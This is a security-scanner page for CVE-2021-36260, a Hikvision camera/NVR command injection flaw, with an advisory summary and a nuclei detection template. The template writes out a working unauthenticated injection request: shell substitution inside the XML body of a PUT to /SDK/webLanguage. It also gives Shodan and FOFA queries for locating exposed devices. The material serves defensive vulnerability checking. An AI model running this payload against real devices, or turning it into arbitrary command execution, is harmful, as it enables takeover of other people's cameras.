Hikvision IP camera/NVR - Remote Command Execution

Exploited in the wild. Listed by CISA on 2022-01-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the affected device.

Fix

Apply the latest firmware update provided by Hikvision to mitigate this vulnerability.

How to confirm it

Send: PUT /SDK/webLanguage ; GET /x
Positive when: contains in body_2 "{{string}}"

Run it with nuclei: nuclei -id CVE-2021-36260 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-36260

info:
  name: Hikvision IP camera/NVR - Remote Command Execution
  author: pdteam,gy741,johnk3r
  severity: critical
  description: Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest firmware update provided by Hikvision to mitigate this vulnerability.
  reference:
    - https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
    - https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36260
    - https://github.com/Aiminsun/CVE-2021-36260
    - https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36260
    cwe-id: CWE-78
    epss-score: 0.99869
    epss-percentile: 0.99963
    cpe: cpe:2.3:o:hikvision:ds-2cd2026g2-iu\/sl_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hikvision
    product: ds-2cd2026g2-iu\/sl_firmware
    shodan-query: http.favicon.hash:999357577
    fofa-query: icon_hash=999357577
  tags: cve2021,cve,hikvision,rce,iot,intrusive,kev,vkev,vuln
variables:
  string: "{{to_lower(rand_base(12))}}"

http:
  - raw:
      - |
        PUT /SDK/webLanguage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        <?xml version="1.0" encoding="UTF-8"?><language>$(echo {{string}}>webLib/x)</language>
      - |
        GET /x HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{string}}"

References

Use this check only on systems you are authorised to test. Where the data comes from